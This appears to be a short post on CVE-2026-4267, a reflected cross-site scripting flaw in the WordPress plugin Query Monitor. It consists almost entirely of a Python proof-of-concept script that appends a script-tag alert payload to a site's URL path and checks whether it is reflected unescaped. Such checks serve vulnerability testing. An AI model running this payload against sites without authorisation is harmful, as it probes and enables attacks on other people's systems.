CVE-2026-4267 WordPress插件Query Monitor反射XSS漏洞

# Proof of Concept for CVE-2026-4267 import requests def check_xss(target_url): # The payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-4267')</script>" # Construct the malicious URL by appending the payload # The vulnerability lies in the REQUEST_URI handling exploit_url = f"{target_url.rstrip('/')}/{xss_payload}" try: print(f"Testing URL: {exploit_url}") response = requests.get(exploit_url, timeout=5) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") return True else: print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_xss(target)